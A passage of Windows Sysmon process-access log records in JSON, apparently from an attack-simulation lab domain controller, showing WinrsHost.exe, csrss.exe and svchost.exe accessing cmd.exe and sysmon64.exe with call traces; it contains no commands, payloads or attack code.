11:50:33.459","SourceProcessGUID":"{90617006-4009-5F2D-0000-0010424F0400}","SourceProcessId":"4472","SourceThreadId":"4528","SourceImage":"C:\\Windows\\system32\\WinrsHost.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-00100A520400}","TargetProcessId":"4548","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\WinrsHost.exe+2c94|C:\\Windows\\system32\\WinrsHost.exe+2eb1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2491,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-00100A520400}\r\nTargetProcessId: 4548\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-00100A520400}","TargetProcessId":"4548","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2492,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2493,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2494,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2495,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2496,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2497,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2498,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 